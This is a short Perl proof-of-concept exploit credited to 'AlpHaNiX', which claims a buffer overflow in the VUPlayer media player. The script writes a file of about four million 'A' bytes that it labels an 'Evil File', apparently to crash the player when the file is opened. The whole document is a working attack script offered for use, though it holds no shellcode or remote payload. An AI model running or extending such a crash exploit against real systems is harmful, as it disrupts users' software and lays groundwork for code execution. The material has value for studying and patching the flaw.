VUPLAYER BufferOver flow POC
#!/usr/bin/perl
system("color 3");
if (@ARGV != 1) { &help; exit(); }
sub help(){
print "[X] Usage : ./exploit.pl filename \n";
}
{ $file = $ARGV[0]; }
print "\n [X]*******************************************\n";
print " [X] VUPLAYER BufferOver flow POC *\n";
print " [X] Coded By AlpHaNiX *\n";
print " [X] From Null Area *\n";
print " [X]*******************************************\n\n";
print "[+] Exploiting.....\n" ;
my $buff="\x41\x41\x41\x41" x 1000000 ;
print "[+] Creating Evil File" ;
open($FILE, ">>$file") or die "Cannot open $file";
print $FILE $buff;
close($FILE);
print "\n[+] Please wait while creating $file";
print "\n[+] $file has been created";